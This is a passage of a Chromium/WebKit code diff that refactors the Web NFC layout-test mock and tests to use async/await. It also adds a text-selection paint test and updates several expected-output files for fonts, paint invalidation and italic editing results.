-        this.push_timeout_id_ = null;
-        this.push_completed_ = true;
-        this.client_ = null;
-        this.watch_id_ = 0;
-        this.watchers_ = [];
-      }
-
-      // NFC delegate functions
-      push(message, options) {
-        let error = this.isReady();
-        if (error)
-          return Promise.resolve(error);
-
-        this.pushed_message_ = message;
-        this.push_options_ = options;
-
-        return new Promise((resolve, reject) => {
-          this.pending_promise_func_ = resolve;
-          if (options.timeout && options.timeout !== Infinity &&
-              !this.push_completed_) {
-            this.push_timeout_id_ =
-                window.setTimeout(() => {
-                    resolve(createNFCError(nfc.NFCErrorType.TIMER_EXPIRED));
-                }, options.timeout);
-          } else {
-            resolve(createNFCError(null));
-          }
-        });
-      }
-
-      cancelPush(target) {
-        if (this.push_options_ && ((target === nfc.NFCPushTarget.ANY) ||
-            (this.push_options_.target === target))) {
-          this.cancelPendingPushOperation();
-        }
-
-        return Promise.resolve(createNFCError(null));
-      }
-
-      setClient(client) {
-        this.client_ = client;
-      }
-
-      watch(options) {
-        let error = this.isReady();
-        if (error) {
-          error.id = 0;
-          return Promise.resolve(error);
-        }
-
-        let retVal = createNFCError(null);
-        retVal.id = ++this.watch_id_;
-        this.watchers_.push({id: this.watch_id_, options: options});
-        return Promise.resolve(retVal);
-      }
-
-      cancelWatch(id) {
-        let index = this.watchers_.findIndex(value => value.id === id);
-        if (index === -1) {
-          return Promise.resolve(createNFCError(nfc.NFCErrorType.NOT_FOUND));
-        }
-
-        this.watchers_.splice(index, 1);
-        return Promise.resolve(createNFCError(null));
-      }
-
-      cancelAllWatches() {
-        if (this.watchers_.length === 0) {
-          return Promise.resolve(createNFCError(nfc.NFCErrorType.NOT_FOUND));
-        }
-
-        this.watchers_.splice(0, this.watchers_.length);
-        return Promise.resolve(createNFCError(null));
-      }
-
-      isReady() {
-        if (this.hw_status_ === NFCHWStatus.DISABLED)
-          return createNFCError(nfc.NFCErrorType.DEVICE_DISABLED);
-        if (this.hw_status_ === NFCHWStatus.NOT_SUPPORTED)
-          return createNFCError(nfc.NFCErrorType.NOT_SUPPORTED);
-        return null;
-      }
-
-      setHWStatus(status) {
-        this.hw_status_ = status;
-      }
-
-      pushedMessage() {
-        return this.pushed_message_;
-      }
-
-      pushOptions() {
-        return this.push_options_;
-      }
-
-      watchOptions() {
-        assert_not_equals(this.watchers_.length, 0);
-        return this.watchers_[this.watchers_.length - 1].options;
-      }
-
-      setPendingPushCompleted(result) {
-        this.push_completed_ = result;
-      }
-
-      reset() {
-        this.hw_status_ = NFCHWStatus.ENABLED;
-        this.push_completed_ = true;
-        this.watch_id_ = 0;
-        this.watchers_ = [];
-        this.cancelPendingPushOperation();
-      }
-
-      cancelPendingPushOperation() {
-        if (this.push_timeout_id_) {
-          window.clearTimeout(this.push_timeout_id_);
-        }
-
-        if (this.pending_promise_func_) {
-          this.pending_promise_func_(createNFCError(nfc.NFCErrorType.OPERATION_CANCELLED));
-        }
-
-        this.pushed_message_ = null;
-        this.push_options_ = null;
-        this.pending_promise_func_ = null;
-      }
-
-      triggerWatchCallback(id, message) {
-        assert_true(this.client_ !== null);
-        if (this.watchers_.length > 0) {
-          this.client_.onWatch([id], toMojoNFCMessage(message));
-        }
-      }
-    }
-
-    let mockNFC = new MockNFC;
-    mojo.frameInterfaces.addInterfaceOverrideForTesting(
-        nfc.NFC.name,
-        handle => {
-          mockNFC.bindingSet.addBinding(mockNFC, handle);
-        });
-
-    return Promise.resolve({
-      // Interface instance bound to main frame.
-      mockNFC: mockNFC,
-      // Constructor for mock NFC class.
-      MockNFC: MockNFC,
-      // Loaded mojom interface.
-      NFC: nfc.NFC,
-      // Helper functions for comparing WebNFC structures.
-      assertNFCMessagesEqual: assertNFCMessagesEqual,
-      assertNFCPushOptionsEqual: assertNFCPushOptionsEqual,
-      assertWebNFCMessagesEqual: assertWebNFCMessagesEqual,
-      assertNFCWatchOptionsEqual: assertNFCWatchOptionsEqual,
-    });
-  });
+  return device.mojom.NFCRecordType.EMPTY;
 }
 
+function toMojoNFCPushTarget(target) {
+  switch (target) {
+  case 'any':
+    return device.mojom.NFCPushTarget.ANY;
+  case 'peer':
+    return device.mojom.NFCPushTarget.PEER;
+  case 'tag':
+    return device.mojom.NFCPushTarget.TAG;
+  }
+
+  return device.mojom.NFCPushTarget.ANY;
+}
+
+function toMojoNFCWatchMode(mode) {
+  if (mode === 'web-nfc-only')
+    return device.mojom.NFCWatchMode.WEBNFC_ONLY;
+  return device.mojom.NFCWatchMode.ANY;
+}
+
+// Converts between NFCMessage https://w3c.github.io/web-nfc/#dom-nfcmessage
+// and mojo::NFCMessage structure, so that nfc.watch function can be tested.
+function toMojoNFCMessage(message) {
+  let nfcMessage = new device.mojom.NFCMessage();
+  nfcMessage.url = message.url;
+  nfcMessage.data = [];
+  for (let record of message.records)
+    nfcMessage.data.push(toMojoNFCRecord(record));
+  return nfcMessage;
+}
+
+function toMojoNFCRecord(record) {
+  let nfcRecord = new device.mojom.NFCRecord();
+  nfcRecord.recordType = toMojoNFCRecordType(record.recordType);
+  nfcRecord.mediaType = record.mediaType;
+  nfcRecord.data = toByteArray(record.data);
+  return nfcRecord;
+}
+
+function toByteArray(data) {
+  // Convert JS objects to byte array
+  let byteArray;
+  let tmpData = data;
+
+  if (tmpData instanceof ArrayBuffer)
+    byteArray = new Uint8Array(tmpData);
+  else if (typeof tmpData === 'object' || typeof tmpData === 'number')
+    tmpData = JSON.stringify(tmpData);
+
+  if (typeof tmpData === 'string')
+    byteArray = new TextEncoder('utf-8').encode(tmpData);
+
+  return byteArray;
+}
+
+// Compares NFCMessage that was provided to the API
+// (e.g. navigator.nfc.push), and NFCMessage that was received by the
+// mock NFC service.
+function assertNFCMessagesEqual(providedMessage, receivedMessage) {
+  // If simple data type is passed, e.g. String or ArrayBuffer, convert it
+  // to NFCMessage before comparing.
+  // https://w3c.github.io/web-nfc/#idl-def-nfcpushmessage
+  let provided = providedMessage;
+  if (providedMessage instanceof ArrayBuffer)
+    provided = createMessage([createOpaqueRecord(providedMessage)]);
+  else if (typeof providedMessage === 'string')
+    provided = createMessage([createTextRecord(providedMessage)]);
+
+  assert_equals(provided.records.length, receivedMessage.data.length,
+      'NFCMessages must have same number of NFCRecords');
+
+  // Compare contents of each individual NFCRecord
+  for (let i = 0; i < provided.records.length; ++i)
+    compareNFCRecords(provided.records[i], receivedMessage.data[i]);
+}
+
+// Used to compare two WebNFC messages, one that is provided to mock NFC
+// service through triggerWatchCallback and another that is received by
+// callback that is provided to navigator.nfc.watch function.
+function assertWebNFCMessagesEqual(a, b) {
+  assert_equals(a.url, b.url);
+  assert_equals(a.records.length, b.records.length);
+  for(let i in a.records) {
+    let recordA = a.records[i];
+    let recordB = b.records[i];
+    assert_equals(recordA.recordType, recordB.recordType);
+    assert_equals(recordA.mediaType, recordB.mediaType);
+
+    if (recordA.data instanceof ArrayBuffer) {
+      assert_array_equals(new Uint8Array(recordA.data),
+          new Uint8Array(recordB.data));
+    } else if (typeof recordA.data === 'object') {
+      assert_object_equals(recordA.data, recordB.data);
+    }
+
+    if (typeof recordA.data === 'number'
+        || typeof recordA.data === 'string') {
+      assert_true(recordA.data == recordB.data);
+    }
+  }
+}
+
+// Compares NFCRecords that were provided / received by the mock service.
+function compareNFCRecords(providedRecord, receivedRecord) {
+  assert_equals(toMojoNFCRecordType(providedRecord.recordType),
+                receivedRecord.recordType);
+
+  // Compare media types without charset.
+  // Charset should be compared when watch method is implemented, in order
+  // to check that written and read strings are equal.
+  assert_equals(providedRecord.mediaType,
+      receivedRecord.mediaType.substring(0, providedRecord.mediaType.length));
+
+  assert_false(toMojoNFCRecordType(providedRecord.recordType) ==
+              device.mojom.NFCRecordType.EMPTY);
+
+  assert_array_equals(toByteArray(providedRecord.data),
+                      new Uint8Array(receivedRecord.data));
+}
+
+// Compares NFCPushOptions structures that were provided to API and
+// received by the mock mojo service.
+function assertNFCPushOptionsEqual(provided, received) {
+  if (provided.ignoreRead !== undefined)
+    assert_equals(provided.ignoreRead, !!+received.ignoreRead);
+  else
+    assert_equals(!!+received.ignore_read, true);
+
+  if (provided.timeout !== undefined)
+    assert_equals(provided.timeout, received.timeout);
+  else
+    assert_equals(received.timeout, Infinity);
+
+  if (provided.target !== undefined)
+    assert_equals(toMojoNFCPushTarget(provided.target), received.target);
+  else
+    assert_equals(received.target, device.mojom.NFCPushTarget.ANY);
+}
+
+// Compares NFCWatchOptions structures that were provided to API and
+// received by the mock mojo service.
+function assertNFCWatchOptionsEqual(provided, received) {
+  if (provided.url !== undefined)
+    assert_equals(provided.url, received.url);
+  else
+    assert_equals(received.url, '');
+
+  if (provided.mediaType !== undefined)
+    assert_equals(provided.mediaType, received.mediaType);
+  else
+    assert_equals(received.mediaType, '');
+
+  if (provided.mode !== undefined)
+    assert_equals(toMojoNFCWatchMode(provided.mode), received.mode);
+  else
+    assert_equals(received.mode, device.mojom.NFCWatchMode.WEBNFC_ONLY);
+
+  if (provided.recordType !== undefined) {
+    assert_equals(!+received.record_filter, true);
+    assert_equals(toMojoNFCRecordType(provided.recordType),
+        received.recordFilter.recordType);
+  }
+}
+
+function createNFCError(type) {
+  return { error: type ?
+      new device.mojom.NFCError({ errorType: type }) : null };
+}
+
+// A helper for forwarding MojoHandle instances from one frame to another.
+class CrossFrameHandleProxy {
+  constructor(callback) {
+    let {handle0, handle1} = Mojo.createMessagePipe();
+    this.sender_ = handle0;
+    this.receiver_ = handle1;
+    this.receiver_.watch({readable: true}, () => {
+      var message = this.receiver_.readMessage();
+      callback(message.handles[0]);
+    });
+  }
+
+  forwardHandle(handle) {
+    this.sender_.writeMessage(new ArrayBuffer, [handle]);
+  }
+}
+
+class MockNFC {
+  constructor() {
+    this.bindingSet_ = new mojo.BindingSet(device.mojom.NFC);
+
+    this.interceptor_ = new MojoInterfaceInterceptor(
+        device.mojom.NFC.name);
+    this.interceptor_.oninterfacerequest =
+        e => this.bindingSet_.addBinding(this, e.handle);
+    this.interceptor_.start();
+    this.crossFrameHandleProxy_ = new CrossFrameHandleProxy(
+        handle => this.bindingSet_.addBinding(this, handle));
+
+    this.hw_status_ = NFCHWStatus.ENABLED;
+    this.pushed_message_ = null;
+    this.push_options_ = null;
+    this.pending_promise_func_ = null;
+    this.push_timeout_id_ = null;
+    this.push_completed_ = true;
+    this.client_ = null;
+    this.watch_id_ = 0;
+    this.watchers_ = [];
+  }
+
+  attachToWindow(otherWindow) {
+    otherWindow.nfcInterceptor =
+        new otherWindow.MojoInterfaceInterceptor(
+            device.mojom.NFC.name);
+    otherWindow.nfcInterceptor.oninterfacerequest =
+        e => this.crossFrameHandleProxy_.forwardHandle(e.handle);
+    otherWindow.nfcInterceptor.start();
+  }
+
+
+  // NFC delegate functions
+  async push(message, options) {
+    let error = this.isReady();
+    if (error)
+      return error;
+
+    this.pushed_message_ = message;
+    this.push_options_ = options;
+
+    return new Promise(resolve => {
+      this.pending_promise_func_ = resolve;
+      if (options.timeout && options.timeout !== Infinity &&
+          !this.push_completed_) {
+        this.push_timeout_id_ =
+            window.setTimeout(() => {
+                resolve(
+                    createNFCError(device.mojom.NFCErrorType.TIMER_EXPIRED));
+            }, options.timeout);
+      } else {
+        resolve(createNFCError(null));
+      }
+    });
+  }
+
+  async cancelPush(target) {
+    if (this.push_options_ && ((target === device.mojom.NFCPushTarget.ANY) ||
+        (this.push_options_.target === target))) {
+      this.cancelPendingPushOperation();
+    }
+
+    return createNFCError(null);
+  }
+
+  setClient(client) {
+    this.client_ = client;
+  }
+
+  async watch(options) {
+    let error = this.isReady();
+    if (error) {
+      error.id = 0;
+      return error;
+    }
+
+    let retVal = createNFCError(null);
+    retVal.id = ++this.watch_id_;
+    this.watchers_.push({id: this.watch_id_, options: options});
+    return retVal;
+  }
+
+  async cancelWatch(id) {
+    let index = this.watchers_.findIndex(value => value.id === id);
+    if (index === -1) {
+      return createNFCError(device.mojom.NFCErrorType.NOT_FOUND);
+    }
+
+    this.watchers_.splice(index, 1);
+    return createNFCError(null);
+  }
+
+  async cancelAllWatches() {
+    if (this.watchers_.length === 0) {
+      return createNFCError(device.mojom.NFCErrorType.NOT_FOUND);
+    }
+
+    this.watchers_.splice(0, this.watchers_.length);
+    return createNFCError(null);
+  }
+
+  isReady() {
+    if (this.hw_status_ === NFCHWStatus.DISABLED)
+      return createNFCError(device.mojom.NFCErrorType.DEVICE_DISABLED);
+    if (this.hw_status_ === NFCHWStatus.NOT_SUPPORTED)
+      return createNFCError(device.mojom.NFCErrorType.NOT_SUPPORTED);
+    return null;
+  }
+
+  setHWStatus(status) {
+    this.hw_status_ = status;
+  }
+
+  pushedMessage() {
+    return this.pushed_message_;
+  }
+
+  pushOptions() {
+    return this.push_options_;
+  }
+
+  watchOptions() {
+    assert_not_equals(this.watchers_.length, 0);
+    return this.watchers_[this.watchers_.length - 1].options;
+  }
+
+  setPendingPushCompleted(result) {
+    this.push_completed_ = result;
+  }
+
+  reset() {
+    this.hw_status_ = NFCHWStatus.ENABLED;
+    this.push_completed_ = true;
+    this.watch_id_ = 0;
+    this.watchers_ = [];
+    this.cancelPendingPushOperation();
+  }
+
+  cancelPendingPushOperation() {
+    if (this.push_timeout_id_) {
+      window.clearTimeout(this.push_timeout_id_);
+    }
+
+    if (this.pending_promise_func_) {
+      this.pending_promise_func_(
+          createNFCError(device.mojom.NFCErrorType.OPERATION_CANCELLED));
+    }
+
+    this.pushed_message_ = null;
+    this.push_options_ = null;
+    this.pending_promise_func_ = null;
+  }
+
+  triggerWatchCallback(id, message) {
+    assert_true(this.client_ !== null);
+    if (this.watchers_.length > 0) {
+      this.client_.onWatch([id], toMojoNFCMessage(message));
+    }
+  }
+}
+
+let mockNFC = new MockNFC();
+
 function nfc_test(func, name, properties) {
-  mojo_test(mojo => nfc_mocks(mojo).then(nfc => {
-    let result = Promise.resolve(func(nfc));
-    let cleanUp = () => nfc.mockNFC.reset();
-    result.then(cleanUp, cleanUp);
-    return result;
-  }), name, properties);
+  promise_test(async function() {
+    try {
+      await Promise.resolve(func());
+    } finally {
+      mockNFC.reset();
+    }
+  }, name, properties);
 }
diff --git a/third_party/WebKit/LayoutTests/nfc/watch.html b/third_party/WebKit/LayoutTests/nfc/watch.html
index b224dd52..6e20ebf 100644
--- a/third_party/WebKit/LayoutTests/nfc/watch.html
+++ b/third_party/WebKit/LayoutTests/nfc/watch.html
@@ -1,107 +1,108 @@
 <!DOCTYPE html>
 <script src="../resources/testharness.js"></script>
 <script src="../resources/testharnessreport.js"></script>
-<script src="../resources/mojo-helpers.js"></script>
+<script src="file:///gen/layout_test_data/mojo/public/js/mojo_bindings.js"></script>
+<script src="file:///gen/services/device/public/interfaces/nfc.mojom.js"></script>
 <script src="resources/nfc-helpers.js"></script>
 <script>
 
 'use strict';
 
-nfc_test(nfc => {
+nfc_test(() => {
   return navigator.nfc.watch(noop);
 }, 'Test that nfc.watch succeeds if NFC hardware is enabled.');
 
-nfc_test(nfc => {
-  nfc.mockNFC.setHWStatus(NFCHWStatus.DISABLED);
+nfc_test(() => {
+  mockNFC.setHWStatus(NFCHWStatus.DISABLED);
   return assertRejectsWithError(navigator.nfc.watch(noop), 'NotSupportedError');
 }, 'Test that nfc.watch fails if NFC hardware is disabled.')
 
-nfc_test(nfc => {
-  nfc.mockNFC.setHWStatus(NFCHWStatus.NOT_SUPPORTED);
+nfc_test(() => {
+  mockNFC.setHWStatus(NFCHWStatus.NOT_SUPPORTED);
   return assertRejectsWithError(navigator.nfc.watch(noop), 'NotSupportedError');
 }, 'Test that nfc.watch fails if NFC hardware is not supported.')
 
-nfc_test(nfc => {
-  return navigator.nfc.watch(noop).
-      then(() => {
-        nfc.assertNFCWatchOptionsEqual(createNFCWatchOptions(), nfc.mockNFC.watchOptions());
-      });
+nfc_test(async () => {
+  await navigator.nfc.watch(noop);
+  assertNFCWatchOptionsEqual(createNFCWatchOptions(), mockNFC.watchOptions());
 }, 'Test that default NFCWatchOptions values are set correctly.')
 
-nfc_test(nfc => {
+nfc_test(async () => {
   let watchOptions = createNFCWatchOptions(test_message_origin, 'json',
       'application/json', 'any');
-  return navigator.nfc.watch(noop, watchOptions).
-      then(() => {
-        nfc.assertNFCWatchOptionsEqual(watchOptions, nfc.mockNFC.watchOptions());
-      });
+  await navigator.nfc.watch(noop, watchOptions);
+  assertNFCWatchOptionsEqual(watchOptions, mockNFC.watchOptions());
 }, 'Test that NFCWatchOptions values are correctly converted.')
 
-nfc_test(nfc => {
+nfc_test(() => {
   return assertRejectsWithError(navigator.nfc.cancelWatch(1), 'NotFoundError');
 }, 'Test that nfc.cancelWatch fails if invalid watch ID is provided.')
 
-nfc_test(nfc => {
+nfc_test(_=> {
   return assertRejectsWithError(navigator.nfc.cancelWatch(), 'NotFoundError');
 }, 'Test that nfc.cancelWatch fails if there are no active watchers.')
 
-nfc_test(nfc => {
-  return navigator.nfc.watch(noop).
-      then(id => navigator.nfc.cancelWatch(id));
+nfc_test(async () => {
+  let id = await navigator.nfc.watch(noop);
+  await navigator.nfc.cancelWatch(id);
 }, 'Test that nfc.cancelWatch succeeds if correct watch id is provided.')
 
-nfc_test(nfc => {
-  return navigator.nfc.watch(noop).
-      then(() => navigator.nfc.cancelWatch());
+nfc_test(async () => {
+  await navigator.nfc.watch(noop);
+  await navigator.nfc.cancelWatch();
 }, 'Test that nfc.cancelWatch succeeds if there are active watchers.')
 
-nfc_test(nfc => {
+nfc_test(async () => {
   let message = createMessage([createTextRecord(test_text_data),
                                createJsonRecord(test_json_data),
                                createOpaqueRecord(test_buffer_data),
                                createTextRecord(test_number_data),
                                createUrlRecord(test_url_data)],
                                test_message_origin);
-
-  return new Promise((resolve, reject) => {
-    navigator.nfc.watch(receivedMessage => {
-      nfc.assertWebNFCMessagesEqual(message, receivedMessage);
+  let messageCallback;
+  let promise = new Promise(resolve => {
+    messageCallback = receivedMessage => {
+      assertWebNFCMessagesEqual(message, receivedMessage);
       resolve();
-    }).then(id => { nfc.mockNFC.triggerWatchCallback(id, message); }, reject);
+    }
   });
+
+  let id = await navigator.nfc.watch(messageCallback);
+  mockNFC.triggerWatchCallback(id, message);
+  return promise;
 }, 'Test that watch callback is triggered with valid NFCMessage.');
 
-nfc_test(nfc => {
+nfc_test(() => {
   return assertRejectsWithError(navigator.nfc.watch(noop, {url:"www.a.com"}),
       'SyntaxError');
 }, 'Test that nfc.watch fails if NFCWatchOptions.url is missing components.');
 
-nfc_test(nfc => {
+nfc_test(() => {
   return assertRejectsWithError(navigator.nfc.watch(noop, {url:"invalid"}),
       'SyntaxError');
 }, 'Test that nfc.watch fails if NFCWatchOptions.url is invalid.');
 
-nfc_test(nfc => {
+nfc_test(() => {
   return assertRejectsWithError(navigator.nfc.watch(noop, {url:"http://a.com"}),
       'SyntaxError');
 }, 'Test that nfc.watch fails if NFCWatchOptions.url has wrong protocol.');
 
-nfc_test(nfc => {
+nfc_test(() => {
   return navigator.nfc.watch(noop, {url:"https://a.com"});
 }, 'Test that nfc.watch succeeds if NFCWatchOptions.url is valid URL.');
 
-nfc_test(nfc => {
+nfc_test(() => {
   return navigator.nfc.watch(noop, {url:"https://a.com/*"});
 }, 'Test that nfc.watch succeeds if NFCWatchOptions.url is valid URL with "*"' +
    ' wildcard character in path.');
 
-nfc_test(nfc => {
+nfc_test(() => {
   return navigator.nfc.watch(noop, {url:"https://foo.com/*/bar"});
 }, 'Test that nfc.watch succeeds if NFCWatchOptions.url is valid URL with "*"' +
    ' wildcard character in the beginning of path component followed by' +
    ' subpath.');
 
-nfc_test(nfc => {
+nfc_test(() => {
   return navigator.nfc.watch(noop, {url:""});
 }, 'Test that nfc.watch succeeds if NFCWatchOptions.url is empty.')
 
diff --git a/third_party/WebKit/LayoutTests/paint/selection/text-selection-update-style-expected.txt b/third_party/WebKit/LayoutTests/paint/selection/text-selection-update-style-expected.txt
new file mode 100644
index 0000000..86e041d
--- /dev/null
+++ b/third_party/WebKit/LayoutTests/paint/selection/text-selection-update-style-expected.txt
@@ -0,0 +1,3 @@
+foo
+bar
+baz
diff --git a/third_party/WebKit/LayoutTests/paint/selection/text-selection-update-style.html b/third_party/WebKit/LayoutTests/paint/selection/text-selection-update-style.html
new file mode 100644
index 0000000..3d420803a
--- /dev/null
+++ b/third_party/WebKit/LayoutTests/paint/selection/text-selection-update-style.html
@@ -0,0 +1,18 @@
+<!DOCTYPE html>
+<script src="../../resources/ahem.js"></script>
+<!-- Updating display property should let selection show the element. -->
+<style>
+  div { font-family: Ahem}
+</style>
+<div id="r1">foo</div>
+<div id="r2" style="display: none">bar</div>
+<div id="r3">baz</div>
+<script>
+  testRunner.dumpAsTextWithPixelResults();
+  testRunner.waitUntilDone();
+  getSelection().setBaseAndExtent(r1, 0, r3, 1);
+  setTimeout(function() {
+    r2.style.display = 'block';
+     testRunner.notifyDone();
+  });
+</script>
diff --git a/third_party/WebKit/LayoutTests/platform/linux/fast/css/css2-system-fonts-expected.txt b/third_party/WebKit/LayoutTests/platform/linux/fast/css/css2-system-fonts-expected.txt
index 8d1c411..85d22fb 100644
--- a/third_party/WebKit/LayoutTests/platform/linux/fast/css/css2-system-fonts-expected.txt
+++ b/third_party/WebKit/LayoutTests/platform/linux/fast/css/css2-system-fonts-expected.txt
@@ -1,7 +1,7 @@
 This tests platform specific system font styles. If any of the styles appear in monospace the test fails.
-caption: normal normal 400 normal 16px / normal Arial
-icon: normal normal 400 normal 16px / normal Arial
-menu: normal normal 400 normal 16px / normal Arial
-message-box: normal normal 400 normal 16px / normal Arial
-small-caption: normal normal 400 normal 16px / normal Arial
-status-bar: normal normal 400 normal 16px / normal Arial
+caption: normal normal normal normal 16px / normal Arial
+icon: normal normal normal normal 16px / normal Arial
+menu: normal normal normal normal 16px / normal Arial
+message-box: normal normal normal normal 16px / normal Arial
+small-caption: normal normal normal normal 16px / normal Arial
+status-bar: normal normal normal normal 16px / normal Arial
diff --git a/third_party/WebKit/LayoutTests/platform/linux/paint/invalidation/selection-after-remove-expected.txt b/third_party/WebKit/LayoutTests/platform/linux/paint/invalidation/selection-after-remove-expected.txt
index cbd44f10..bfdb367 100644
--- a/third_party/WebKit/LayoutTests/platform/linux/paint/invalidation/selection-after-remove-expected.txt
+++ b/third_party/WebKit/LayoutTests/platform/linux/paint/invalidation/selection-after-remove-expected.txt
@@ -346,6 +346,14 @@
       "reason": "disappeared"
     },
     {
+      "object": "LayoutBlockFlow HTML",
+      "reason": "selection"
+    },
+    {
+      "object": "LayoutBlockFlow BODY",
+      "reason": "selection"
+    },
+    {
       "object": "LayoutBlockFlow DIV id='test'",
       "reason": "geometry"
     },
diff --git a/third_party/WebKit/LayoutTests/platform/mac/external/wpt/editing/run/italic-expected.txt b/third_party/WebKit/LayoutTests/platform/mac/external/wpt/editing/run/italic-expected.txt
index 39727f3..9127421 100644
--- a/third_party/WebKit/LayoutTests/platform/mac/external/wpt/editing/run/italic-expected.txt
+++ b/third_party/WebKit/LayoutTests/platform/mac/external/wpt/editing/run/italic-expected.txt
@@ -1,5 +1,5 @@
 This is a testharness.js-based test.
-Found 2069 tests; 1685 PASS, 384 FAIL, 0 TIMEOUT, 0 NOTRUN.
+Found 2069 tests; 1668 PASS, 401 FAIL, 0 TIMEOUT, 0 NOTRUN.
 PASS [["italic",""]] "foo[]bar": execCommand("italic", false, "") return value 
 PASS [["italic",""]] "foo[]bar" checks for modifications to non-editable content 
 PASS [["italic",""]] "foo[]bar" compare innerHTML 
@@ -1515,7 +1515,7 @@
 PASS [["stylewithcss","true"],["italic",""]] "foo<span style=\"font-style: oblique\">[bar]</span>baz": execCommand("stylewithcss", false, "true") return value 
 PASS [["stylewithcss","true"],["italic",""]] "foo<span style=\"font-style: oblique\">[bar]</span>baz": execCommand("italic", false, "") return value 
 PASS [["stylewithcss","true"],["italic",""]] "foo<span style=\"font-style: oblique\">[bar]</span>baz" checks for modifications to non-editable content 
-PASS [["stylewithcss","true"],["italic",""]] "foo<span style=\"font-style: oblique\">[bar]</span>baz" compare innerHTML 
+FAIL [["stylewithcss","true"],["italic",""]] "foo<span style=\"font-style: oblique\">[bar]</span>baz" compare innerHTML assert_equals: Unexpected innerHTML (after normalizing inline style) expected "foobarbaz" but got "foo<span style=\"font-style:italic\">bar</span>baz"
 PASS [["stylewithcss","true"],["italic",""]] "foo<span style=\"font-style: oblique\">[bar]</span>baz" queryCommandIndeterm("stylewithcss") before 
 PASS [["stylewithcss","true"],["italic",""]] "foo<span style=\"font-style: oblique\">[bar]</span>baz" queryCommandState("stylewithcss") before 
 PASS [["stylewithcss","true"],["italic",""]] "foo<span style=\"font-style: oblique\">[bar]</span>baz" queryCommandValue("stylewithcss") before 
@@ -1523,15 +1523,15 @@
 PASS [["stylewithcss","true"],["italic",""]] "foo<span style=\"font-style: oblique\">[bar]</span>baz" queryCommandState("stylewithcss") after 
 PASS [["stylewithcss","true"],["italic",""]] "foo<span style=\"font-style: oblique\">[bar]</span>baz" queryCommandValue("stylewithcss") after 
 PASS [["stylewithcss","true"],["italic",""]] "foo<span style=\"font-style: oblique\">[bar]</span>baz" queryCommandIndeterm("italic") before 
-PASS [["stylewithcss","true"],["italic",""]] "foo<span style=\"font-style: oblique\">[bar]</span>baz" queryCommandState("italic") before 
-FAIL [["stylewithcss","true"],["italic",""]] "foo<span style=\"font-style: oblique\">[bar]</span>baz" queryCommandValue("italic") before assert_equals: Wrong result returned expected "" but got "true"
+FAIL [["stylewithcss","true"],["italic",""]] "foo<span style=\"font-style: oblique\">[bar]</span>baz" queryCommandState("italic") before assert_equals: Wrong result returned expected true but got false
+FAIL [["stylewithcss","true"],["italic",""]] "foo<span style=\"font-style: oblique\">[bar]</span>baz" queryCommandValue("italic") before assert_equals: Wrong result returned expected "" but got "false"
 PASS [["stylewithcss","true"],["italic",""]] "foo<span style=\"font-style: oblique\">[bar]</span>baz" queryCommandIndeterm("italic") after 
-PASS [["stylewithcss","true"],["italic",""]] "foo<span style=\"font-style: oblique\">[bar]</span>baz" queryCommandState("italic") after 
-FAIL [["stylewithcss","true"],["italic",""]] "foo<span style=\"font-style: oblique\">[bar]</span>baz" queryCommandValue("italic") after assert_equals: Wrong result returned expected "" but got "false"
+FAIL [["stylewithcss","true"],["italic",""]] "foo<span style=\"font-style: oblique\">[bar]</span>baz" queryCommandState("italic") after assert_equals: Wrong result returned expected false but got true
+FAIL [["stylewithcss","true"],["italic",""]] "foo<span style=\"font-style: oblique\">[bar]</span>baz" queryCommandValue("italic") after assert_equals: Wrong result returned expected "" but got "true"
 PASS [["stylewithcss","false"],["italic",""]] "foo<span style=\"font-style: oblique\">[bar]</span>baz": execCommand("stylewithcss", false, "false") return value 
 PASS [["stylewithcss","false"],["italic",""]] "foo<span style=\"font-style: oblique\">[bar]</span>baz": execCommand("italic", false, "") return value 
 PASS [["stylewithcss","false"],["italic",""]] "foo<span style=\"font-style: oblique\">[bar]</span>baz" checks for modifications to non-editable content 
-PASS [["stylewithcss","false"],["italic",""]] "foo<span style=\"font-style: oblique\">[bar]</span>baz" compare innerHTML 
+FAIL [["stylewithcss","false"],["italic",""]] "foo<span style=\"font-style: oblique\">[bar]</span>baz" compare innerHTML assert_equals: Unexpected innerHTML (after normalizing inline style) expected "foobarbaz" but got "foo<i>bar</i>baz"
 PASS [["stylewithcss","false"],["italic",""]] "foo<span style=\"font-style: oblique\">[bar]</span>baz" queryCommandIndeterm("stylewithcss") before 
 PASS [["stylewithcss","false"],["italic",""]] "foo<span style=\"font-style: oblique\">[bar]</span>baz" queryCommandState("stylewithcss") before 
 PASS [["stylewithcss","false"],["italic",""]] "foo<span style=\"font-style: oblique\">[bar]</span>baz" queryCommandValue("stylewithcss") before 
@@ -1539,15 +1539,15 @@
 PASS [["stylewithcss","false"],["italic",""]] "foo<span style=\"font-style: oblique\">[bar]</span>baz" queryCommandState("stylewithcss") after 
 PASS [["stylewithcss","false"],["italic",""]] "foo<span style=\"font-style: oblique\">[bar]</span>baz" queryCommandValue("stylewithcss") after 
 PASS [["stylewithcss","false"],["italic",""]] "foo<span style=\"font-style: oblique\">[bar]</span>baz" queryCommandIndeterm("italic") before 
-PASS [["stylewithcss","false"],["italic",""]] "foo<span style=\"font-style: oblique\">[bar]</span>baz" queryCommandState("italic") before 
-FAIL [["stylewithcss","false"],["italic",""]] "foo<span style=\"font-style: oblique\">[bar]</span>baz" queryCommandValue("italic") before assert_equals: Wrong result returned expected "" but got "true"
+FAIL [["stylewithcss","false"],["italic",""]] "foo<span style=\"font-style: oblique\">[bar]</span>baz" queryCommandState("italic") before assert_equals: Wrong result returned expected true but got false
+FAIL [["stylewithcss","false"],["italic",""]] "foo<span style=\"font-style: oblique\">[bar]</span>baz" queryCommandValue("italic") before assert_equals: Wrong result returned expected "" but got "false"
 PASS [["stylewithcss","false"],["italic",""]] "foo<span style=\"font-style: oblique\">[bar]</span>baz" queryCommandIndeterm("italic") after 
-PASS [["stylewithcss","false"],["italic",""]] "foo<span style=\"font-style: oblique\">[bar]</span>baz" queryCommandState("italic") after 
-FAIL [["stylewithcss","false"],["italic",""]] "foo<span style=\"font-style: oblique\">[bar]</span>baz" queryCommandValue("italic") after assert_equals: Wrong result returned expected "" but got "false"
+FAIL [["stylewithcss","false"],["italic",""]] "foo<span style=\"font-style: oblique\">[bar]</span>baz" queryCommandState("italic") after assert_equals: Wrong result returned expected false but got true
+FAIL [["stylewithcss","false"],["italic",""]] "foo<span style=\"font-style: oblique\">[bar]</span>baz" queryCommandValue("italic") after assert_equals: Wrong result returned expected "" but got "true"
 PASS [["stylewithcss","true"],["italic",""]] "foo<span style=\"font-style: oblique\">b[a]r</span>baz": execCommand("stylewithcss", false, "true") return value 
